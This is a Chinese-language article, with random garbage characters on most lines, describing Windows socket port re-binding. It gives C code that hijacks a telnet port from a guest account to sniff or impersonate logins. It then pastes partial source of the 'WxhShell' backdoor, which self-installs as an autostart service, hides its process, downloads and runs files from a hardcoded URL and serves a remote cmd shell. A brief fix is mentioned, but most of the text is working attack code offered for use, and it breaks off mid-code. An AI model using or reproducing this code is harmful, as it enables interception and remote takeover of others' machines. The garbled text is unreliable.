在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jy2@t * s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
eHy.<VX DfL>fk saddr.sin_family = AF_INET;
#Ies
yNKZ sxBRg= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q*kieqG VtJy0OGcRP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
TV&4m5 :1JICxAU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z<t(h=? c?1:='MC 这意味着什么?意味着可以进行如下的攻击:
Q8sCI An{ S.kFs{;1x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
S3( 2.c~ wcI4Y0+J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
r31H Zx1^ I$7TnMug 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=*u:@T=d5 RZ:i60 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#(`@D7S" 3C8W]yw/s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9g*MBe: 2 #+g4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
e!5nz_J1} q&- A}] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3GS oHsNk =lf&mD
_/ #include
t7%!~s=,M #include
]bq<vI% #include
h|!F'F{ #include
S>]Jc$ DWORD WINAPI ClientThread(LPVOID lpParam);
f]BG`rJX int main()
4^KoHeM6 {
FJN,er~T[ WORD wVersionRequested;
$UZ4,S?V DWORD ret;
m_TZY_; WSADATA wsaData;
*yv@-lP5s BOOL val;
up~l4]b+ SOCKADDR_IN saddr;
lxRzyx SOCKADDR_IN scaddr;
P7I,xcOm int err;
m4@y58n= SOCKET s;
|f^/((:D SOCKET sc;
"mAVkq~ int caddsize;
3:rH1vG.m HANDLE mt;
fuQ|[tpvQG DWORD tid;
F*QD\sG: wVersionRequested = MAKEWORD( 2, 2 );
2O|o%`? err = WSAStartup( wVersionRequested, &wsaData );
#N|)hBz9- if ( err != 0 ) {
lHpo/R: printf("error!WSAStartup failed!\n");
p;VqkSQ76 return -1;
Z;@F.r }
_c|>m4+X saddr.sin_family = AF_INET;
/FiFtAbb ^c1I'9(r5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^yKP 99( [Bp[=\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`5`Pv'` saddr.sin_port = htons(23);
u pf7:gk + if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}[PbA4l.g {
AQ-P3`bCb printf("error!socket failed!\n");
YE5v~2 return -1;
0.nS306
}
-9{}rE val = TRUE;
F'Fc)9qFa< //SO_REUSEADDR选项就是可以实现端口重绑定的
o><~ .T=d& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
..7"&-?g{4 {
3Fh<%<= printf("error!setsockopt failed!\n");
)%C482GO- return -1;
-,96Qg4vI }
@6i^wC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"8Pxf= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N7Z&_$Bx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
T}2a~ -nO('(t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7F3Hkvd[k {
~@z5Ld3xz ret=GetLastError();
Bl' printf("error!bind failed!\n");
m0F-[k3) return -1;
<V"'j }
vsoj] R$C listen(s,2);
v(<~:] while(1)
D}!U?]la& {
kOR%<#:J caddsize = sizeof(scaddr);
.4F(Y_c //接受连接请求
nAd
4g| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
lyZof_/* if(sc!=INVALID_SOCKET)
"=|yM~V {
1&QI1fvx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Bi
kCjP[b if(mt==NULL)
7=T0Sa*; {
3 %dbfT j printf("Thread Creat Failed!\n");
x`%;Q@G break;
IQScsqM }
PpU : 4;en }
5qG7LO. CloseHandle(mt);
X.Z?Ie }
Cj5M closesocket(s);
X^9_'T9 WSACleanup();
G!OD7: return 0;
A1%V<im@Z }
)_.@M '? DWORD WINAPI ClientThread(LPVOID lpParam)
o?p) V^7 {
<ze'o.c SOCKET ss = (SOCKET)lpParam;
f#JLE+0Y SOCKET sc;
g"C$B Fc unsigned char buf[4096];
6tG9PG98q9 SOCKADDR_IN saddr;
51;(vf long num;
-zc9=n<5 DWORD val;
30<dEoF DWORD ret;
%7
J //如果是隐藏端口应用的话,可以在此处加一些判断
r*+9<8-ZX< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[(btpWxb^ saddr.sin_family = AF_INET;
KDQux saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zy$hDy0 saddr.sin_port = htons(23);
~ xf9
ml if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fRrHWE+ {
ItOVx!"@9 printf("error!socket failed!\n");
M"p $9t return -1;
%WCpn<) }
g4Hq<W" val = 100;
v S%+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N.-Ryj&9 {
}doj4 ret = GetLastError();
5YC(gv3/ return -1;
ix!u#7 }
E>'pMw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B[$KnQM9Y {
/;.M$}Z>` ret = GetLastError();
N(1jm F return -1;
C|!E'8Rw }
Vx0V6{JX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a~XNRAh {
mup3ua]! printf("error!socket connect failed!\n");
m,up37-{ closesocket(sc);
"lmiGR*u closesocket(ss);
)Fm return -1;
( I,V+v+{Y }
R [uo:. while(1)
~^5uOeTZ~ {
Kw?,A
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9d2$F9]:o //如果是嗅探内容的话,可以再此处进行内容分析和记录
BAKfs/N //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
gJF;yW4 num = recv(ss,buf,4096,0);
<M\Z}2 d if(num>0)
UoKBcarm send(sc,buf,num,0);
np>*O }r* else if(num==0)
5Cz:$-+ break;
?tSY=DK\n num = recv(sc,buf,4096,0);
T Z>z5YTv if(num>0)
`b% /.%]$ send(ss,buf,num,0);
!8A5Y[(XD else if(num==0)
O:Z|fDQ` break;
F%Mlid;1 }
bpU^|r^W closesocket(ss);
RyM2CQg[ closesocket(sc);
0`qq"j[6a return 0 ;
$@#nn5^IX }
Y*AHwc<w` ]kKsGch H[G EAQO ==========================================================
<$=8'$T81 h|-r t15 下边附上一个代码,,WXhSHELL
|ow hF 9B%"7MVn ==========================================================
}3i@5ctQ )1]C%)zn #include "stdafx.h"
>i ~zG6H )1i)I?m #include <stdio.h>
P.fgt>v] #include <string.h>
/JfXK$` #include <windows.h>
97&6i TYA #include <winsock2.h>
U
*I52$ #include <winsvc.h>
~\kRW6 #include <urlmon.h>
O;zW'*c+ ~_oTEXT^O #pragma comment (lib, "Ws2_32.lib")
0loC^\f #pragma comment (lib, "urlmon.lib")
sy#Gb#=# xFvSQ`sp #define MAX_USER 100 // 最大客户端连接数
Wx-{F #define BUF_SOCK 200 // sock buffer
vLC&C-f #define KEY_BUFF 255 // 输入 buffer
Uexb>| v>e4a/ #define REBOOT 0 // 重启
Fd91Y #define SHUTDOWN 1 // 关机
{:dE_tqo .9E`x>C #define DEF_PORT 5000 // 监听端口
LTCjw_<7 \:#b9t{B- #define REG_LEN 16 // 注册表键长度
%Wu8RG} #define SVC_LEN 80 // NT服务名长度
1|]-F;b *X>rvAd3 // 从dll定义API
z/TZOFaM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ILpB:g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
jBQQ?cA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*GDU=D} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
nOB
]?{X LRI_s>7 // wxhshell配置信息
rm
cy-}e struct WSCFG {
&]M<G)9 int ws_port; // 监听端口
T]myhNk char ws_passstr[REG_LEN]; // 口令
W=b5{
6 int ws_autoins; // 安装标记, 1=yes 0=no
IW46-;l7 char ws_regname[REG_LEN]; // 注册表键名
BkJcT char ws_svcname[REG_LEN]; // 服务名
Twk zX| char ws_svcdisp[SVC_LEN]; // 服务显示名
N7;2BUIXJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
^1g6(k' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wx1uduT) int ws_downexe; // 下载执行标记, 1=yes 0=no
X}Csl~W8in char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(5I]um tge char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[sad}@R7 HOw][}M_w };
" c]Mz&z Zf"AqGP // default Wxhshell configuration
"pH+YqJ$ struct WSCFG wscfg={DEF_PORT,
$`Ou * "xuhuanlingzhe",
%_u3Np 1,
e^FS/= "Wxhshell",
1idEm*3&( "Wxhshell",
qle\c[UM5 "WxhShell Service",
(u*]&yk "Wrsky Windows CmdShell Service",
CeZ5Ti?F "Please Input Your Password: ",
qV}zV\Nz 1,
F3qi$ 3HM "
http://www.wrsky.com/wxhshell.exe",
%mq]M "Wxhshell.exe"
mA4v 4z };
15zL,yo 0>'1|8+`(z // 消息定义模块
+F/ '+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_
9k^Hd[L$ char *msg_ws_prompt="\n\r? for help\n\r#>";
-1{N#c/U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S:5Nh^K char *msg_ws_ext="\n\rExit.";
=DtM.oQ> char *msg_ws_end="\n\rQuit.";
)~5`A*Ku char *msg_ws_boot="\n\rReboot...";
_#L
IG2d char *msg_ws_poff="\n\rShutdown...";
$HH(8NoL char *msg_ws_down="\n\rSave to ";
s<5t}{x }ri"u;.R char *msg_ws_err="\n\rErr!";
x,>=X`T char *msg_ws_ok="\n\rOK!";
fLys$*^)^ =HSE char ExeFile[MAX_PATH];
A$oYw(m# int nUser = 0;
!qcR5yk`2 HANDLE handles[MAX_USER];
:l6sESr int OsIsNt;
;Y~;G7 ~MXPiZG? SERVICE_STATUS serviceStatus;
+28FB[W SERVICE_STATUS_HANDLE hServiceStatusHandle;
G,XFS8{% ou(9Qf zN // 函数声明
b\^.5SEw int Install(void);
>g F int Uninstall(void);
ZSbD4
|_ int DownloadFile(char *sURL, SOCKET wsh);
eAl&[_o|S int Boot(int flag);
"+rX*~ void HideProc(void);
P_qxw-s int GetOsVer(void);
2V int Wxhshell(SOCKET wsl);
Ek4aC3 void TalkWithClient(void *cs);
hsl Js^ int CmdShell(SOCKET sock);
*mBEF" int StartFromService(void);
Bg#NB int StartWxhshell(LPSTR lpCmdLine);
B4{A(-Tc 31_5k./ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z|j8:Ohz VOID WINAPI NTServiceHandler( DWORD fdwControl );
?5->F/f& MBa/-fD // 数据结构和表定义
bG5c~ SERVICE_TABLE_ENTRY DispatchTable[] =
Gd'^vqo< {
` "9Y.KU {wscfg.ws_svcname, NTServiceMain},
."h;H^5 {NULL, NULL}
q_W NN/w };
ha(hG3C Ya>cGaLq // 自我安装
1r8]EaI int Install(void)
^%_LA't'R {
-Y+[`0$' char svExeFile[MAX_PATH];
b?Vu9! HKEY key;
0">#h strcpy(svExeFile,ExeFile);
7gJ`G@y !Hgq7vZG // 如果是win9x系统,修改注册表设为自启动
"PlM{ZI\ if(!OsIsNt) {
n'R
8nn6^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#_H=pNWe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s~TYzfA RegCloseKey(key);
"PuP J| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q!FJP9x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)"q2DjfX* RegCloseKey(key);
>w
V$az return 0;
OtnYv }
Ot/Y?=j~ }
|"ck;.) }
W<58TCd else {
8T1`TGSFC O[-wm;_(=* // 如果是NT以上系统,安装为系统服务
7IFUsli] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@jjp\ ~ if (schSCManager!=0)
!.F`8OD`u {
n RXf \*"3 SC_HANDLE schService = CreateService
8XTVpf4 (
6g<JPc schSCManager,
AU)Qk$c wscfg.ws_svcname,
9WHkw@<R+ wscfg.ws_svcdisp,
*BSL=8G{ SERVICE_ALL_ACCESS,
ZL-@2ZU{1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lKe aI SERVICE_AUTO_START,
8)sqj= SERVICE_ERROR_NORMAL,
~C[R%%Gu svExeFile,
.*v8*8OJ& NULL,
agt7b@-5= NULL,
bu\,2t}B NULL,
F[Peil+|` NULL,
\alRBH qE NULL
b$VdTpz );
DGp'Xx_8 if (schService!=0)
3}XUYF; {
.-nA#/2- CloseServiceHandle(schService);
z07!i@ue~ CloseServiceHandle(schSCManager);
9t;aJFI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3A'd7FJ0G strcat(svExeFile,wscfg.ws_svcname);
Km-lWreTH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oz@yF)/Sm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
L(}T-.,Slr RegCloseKey(key);
.XS rLb? return 0;
jtl7t59R }
%#"uK:(N }
<y~`J`- CloseServiceHandle(schSCManager);
=@B9I<GKf }
[f^~Z'TIN/ }
,]Hn*\@p[c %!x\|@C return 1;
p`XI (NI }
]xV7)/b5G !*EHr09N7 // 自我卸载
O8n\>p kI int Uninstall(void)
j2tw`*S+ {
c1e7h l HKEY key;
~"{Kjr#R 1<pbO:r if(!OsIsNt) {
9KD2C>d< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F5&4x"c RegDeleteValue(key,wscfg.ws_regname);
M="%NxuS RegCloseKey(key);
|PTL!>ym2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Kkdd }j RegDeleteValue(key,wscfg.ws_regname);
~(G]-__B< RegCloseKey(key);
Pxy(YMv return 0;
f`H}Y!W( }
8tLkJOu }
Rnun() plJ }
.(nq"&u-* else {
Ow mI*` LWf+H 4iZ} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
rOH8W if (schSCManager!=0)
L@0DT&5 {
8[
:FU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T3+hxS if (schService!=0)
I6h{S}2 {
M
HlP)' if(DeleteService(schService)!=0) {
c:hOQZ CloseServiceHandle(schService);
)vhHlZ *+ CloseServiceHandle(schSCManager);
3mpEF<z return 0;
V#C[I~l }
\O72PC+ CloseServiceHandle(schService);
cA AJ7? }
!9OAMHa*9 CloseServiceHandle(schSCManager);
Qx'a+kLu9 }
F(}d|z@@
}
`N
;!=7y7Y [m!$01= return 1;
Z'PL?;&+R }
=`Nnd@3v J1P82=$, // 从指定url下载文件
C`7HC2Is int DownloadFile(char *sURL, SOCKET wsh)
FHqa|4Ie {
a{el1_DIGK HRESULT hr;
<iv9Mg} char seps[]= "/";
sm4@ywd> char *token;
#li;L char *file;
!5Z?D8dcx char myURL[MAX_PATH];
!W{|7Es?. char myFILE[MAX_PATH];
b{(!Ls_ & 6D_4o&N strcpy(myURL,sURL);
wW]|ElYR= token=strtok(myURL,seps);
`p*7MZ9- while(token!=NULL)
>0T0K`o {
R qOEQ*k file=token;
+!'6:F token=strtok(NULL,seps);
X*}S(9cg\i }
W^P%k:anK 3eFD[c%mN GetCurrentDirectory(MAX_PATH,myFILE);
/QD}_lh;, strcat(myFILE, "\\");
&=K-~!? strcat(myFILE, file);
Kx ?}%@b send(wsh,myFILE,strlen(myFILE),0);
HC+(FymV send(wsh,"...",3,0);
%pe7[/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KvkiwO( if(hr==S_OK)
]'DtuT?Z return 0;
Eki7bT@/ else
<),FI <~ return 1;
/p?h@6h@y S!up2OseW }
C(7LwV dD@T}^j *| // 系统电源模块
80c\O-{ int Boot(int flag)
|P>>
^,iUn {
>c;qIP)Z HANDLE hToken;
OfbM]:}<3 TOKEN_PRIVILEGES tkp;
/XtxgO\T. qf(!3 if(OsIsNt) {
>eW HPO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Gk'J'9* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b?h"a<7 tkp.PrivilegeCount = 1;
&z&Jl#t-) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JG0TbM1(Bt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
By:A9s if(flag==REBOOT) {
UTHGjE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^A;v|U return 0;
!
FhN(L[=j }
e9o(hL else {
$ [M8G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'FO^VJ;ha return 0;
z*I= }
OAc+LdT }
+c+#InsY else {
Q~ te` if(flag==REBOOT) {
j""u:l^+x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n)^B0DnIk return 0;
W29@`93 }
vb\ UP&Ip else {
<G}>Gk8x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jbMzcn~ehI return 0;
7:9WiN5b }
3'
mQ=tKa }
]* ': `:R8~>p return 1;
]@C&Q,~q }
2PAotD4+I gM^ Hs7o, // win9x进程隐藏模块
z;2kKQZm void HideProc(void)
F3;UH%L1 {
<vhlT#p
gR?=z}`@p HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u\Tq5PYXt if ( hKernel != NULL )
cK1r9ED| {
;[uJ~7e3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:>\ i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<t.yn\G-w FreeLibrary(hKernel);
EO:i+e]= }
Ip|~j}
} !QSL8v@c return;
0\k2F,:%4 }
.?@$Rd2@W mC8c`#1T // 获取操作系统版本
tF
O27z@ int GetOsVer(void)
?qO_t;:0> {
Pz:,q~ OSVERSIONINFO winfo;
#JWW ;M6F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]wc'h>w GetVersionEx(&winfo);
L^Fni~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R]/3`X9!d> return 1;
p>Qzz`@e else
l*e*jA_>:7 return 0;
7:)= }
@_J~zo |'aGj // 客户端句柄模块
%7xx"$P:R int Wxhshell(SOCKET wsl)
AU OL?st {
.-awl1 W SOCKET wsh;
)R(kXz=M struct sockaddr_in client;
; {iX_% DWORD myID;
m6a`Ok P '-N `u$3Y while(nUser<MAX_USER)
6c$ so {
zogw1g&C int nSize=sizeof(client);
-Wd2FD^x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%iPWg if(wsh==INVALID_SOCKET) return 1;
^Vso`(Ss - 0R5g3^*/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_zvCc% if(handles[nUser]==0)
Ub2t7MU closesocket(wsh);
k Pi%RvuQ else
p.A_,iE nUser++;
:PE{2* }
7jL+c~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
MKf|(6;~ sC1Mwx return 0;
L-?
?%_= }
[ uU"=H| 8Wqh 8$ // 关闭 socket
2FU+o\1% void CloseIt(SOCKET wsh)
=.a} {
H=RzY-\a% closesocket(wsh);
&&T\PspM nUser--;
JZI)jIh ExitThread(0);
UTB]svC' }
p!B&&)&db `?f6~$1 // 客户端请求句柄
>cU#($X$^ void TalkWithClient(void *cs)
"jV:L {
@+Yql fIe';a SOCKET wsh=(SOCKET)cs;
E)sC:oO char pwd[SVC_LEN];
v=5H,4UMA char cmd[KEY_BUFF];
(KxI* char chr[1];
#NQpr int i,j;
0,~||H{ -UY5T@as while (nUser < MAX_USER) {
_E'F xB-\yWDZe
if(wscfg.ws_passstr) {
vz6No%8X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C 2t] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-&q@|h' //ZeroMemory(pwd,KEY_BUFF);
6`Hd)T5{w i=0;
B|d-3\sn while(i<SVC_LEN) {
tV?- pPL)!=o! // 设置超时
+FomAs1*f fd_set FdRead;
]2E#P.-!b struct timeval TimeOut;
$40G$w FD_ZERO(&FdRead);
Y"H'BT!b} FD_SET(wsh,&FdRead);
(A(j.[4a TimeOut.tv_sec=8;
0JT"Pv_ TimeOut.tv_usec=0;
7N:3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|7%has3" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=csh=V@s ca=sc[ $+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OQ(w]G0LP pwd
=chr[0]; W&~\@j]!D
if(chr[0]==0xd || chr[0]==0xa) { "m#17J_
pwd=0; cN% r\
break; [>$?/DM
} '\B0#z3
i++; Mmmg3%G1
} Bnp\G h
pO?v$Rjl
// 如果是非法用户,关闭 socket L"KKW
c
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f9K+o-P.h
} :6gRoMb]
v6U Gr4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~nJ"#Q_T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |)VNf.aJZ
HPMj+xH
while(1) { ZH)Jq^^RI
C/?x`2'
ZeroMemory(cmd,KEY_BUFF); 3AcS$.G
ARUzEo
gcf
// 自动支持客户端 telnet标准 LpK? C<?x
j=0; {S@gjMuN
while(j<KEY_BUFF) { B?%e-xV-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7}1Z7"?
cmd[j]=chr[0]; :F8h}\a*
if(chr[0]==0xa || chr[0]==0xd) { 6t\0Ui
cmd[j]=0; CJjT-(a
break; w=_q<1a
} H Y~[/H+:
j++; 1B#iJZ}
} B/*\Ih9y
;V?3Hwl
// 下载文件 ?[]jJ
if(strstr(cmd,"http://")) { uZM%F)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?8qN8rk^+
if(DownloadFile(cmd,wsh)) `_()|; !y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :d6]rOpX
else x4i&;SP0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m\oxS;fxWi
} ov<vSc<u
else { Y[N@ )E_G
bt*
switch(cmd[0]) { }hE!0q~MfM
?bH`
// 帮助 -mP2}BNM
case '?': { jR9;<qT/
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :-_"[:t 5Z
break; K]1|#`n
} Q4Nut
// 安装 AC\y|X8-
case 'i': { 8=@f lK
if(Install()) P2&0bNY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n/Dg)n?
else 194n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LSR0yCU
break; `,O"^zR)z
} L#?mPF
// 卸载 0 .UN
case 'r': { l,9rd[
if(Uninstall()) ]4/C19Fe!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f9OY>|a9
else p1[|5r5Day
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +f$
{r7
break; uaYI3w@^
} <`WDNi$Y
// 显示 wxhshell 所在路径 _R^ZXtypd
case 'p': { :]4s;q:m
char svExeFile[MAX_PATH]; #)m[R5g(
strcpy(svExeFile,"\n\r"); aTfc>A;
strcat(svExeFile,ExeFile); p(-EtxP
send(wsh,svExeFile,strlen(svExeFile),0); E@%1HO_
break; xi=0kO
} d}
5
// 重启 3kh!dL3D
case 'b': { }
@
[!%hE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vM-kk:n7f
if(Boot(REBOOT)) ([|^3tM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5R)IL2~
else { tJ*/5k
&
closesocket(wsh); zJh!Q**
ExitThread(0); m^zD']
} Bp5%&T k
break; '"XVe+.O
} -tx%#(?wH
// 关机 W4qnXD1n
case 'd': { <pXOE-G5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9=FH2|Z
if(Boot(SHUTDOWN)) H@1qU|4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3DxgfP%n
else { z:N?T0b(
closesocket(wsh); Pqj\vdzx
ExitThread(0); [vz2< genn
} Uu@qS
break; B
qINU
} 1NG[
// 获取shell <IBUl}|\
case 's': { Ted tmX$
CmdShell(wsh); cp"{W-Q{$
closesocket(wsh); c,]fw2
ExitThread(0); Q<DXDvL
break; "r8N-
h/P
} nv(6NV
// 退出 QxuU3#l
case 'x': {
1D2RhM%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o.Bbb=*rZ
CloseIt(wsh); N/b$S@
break; KNN$+[_;H4
} E(z|LS*3
// 离开 J9f]=1`
case 'q': { BlM(Q/z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); VV#'d
closesocket(wsh); #Uep|A
WSACleanup(); c/=\YeR
exit(1); 0W_u"UY$c
break; {%RwZ'
} UZ6y3%G3^
} ynf!1!4
} loHMQKy@
}7K~-
// 提示信息 G8MLg #
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PBcb*7W
} E70o nR!i
} ^; }Y ZBy
>5TXLOYZ
return; ^4p$@5zH
} -G'3&L4
D
s$lJJL
// shell模块句柄 ,|;\)tT
int CmdShell(SOCKET sock) m( %PZ*s
{ D'^%Q_;u
STARTUPINFO si; c+O:n:L
ZeroMemory(&si,sizeof(si)); [r9HYju=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S)'&+HamI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uc
; S@
PROCESS_INFORMATION ProcessInfo; *o!#5c
char cmdline[]="cmd"; rt?*eC1b+Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r^ '
return 0; K$s{e0
79
} ?%D nIl>
ttt4h
// 自身启动模式 /)dyAX(
int StartFromService(void) A6E~GJa
{ H;DjM;be
typedef struct )(c%QWz
{ IJ:JH=8
DWORD ExitStatus; #BgiDLh
DWORD PebBaseAddress; E}#&2n8Y
DWORD AffinityMask; 10GU2a$0"$
DWORD BasePriority; ~jz51[{v
ULONG UniqueProcessId; M6V^ur 1
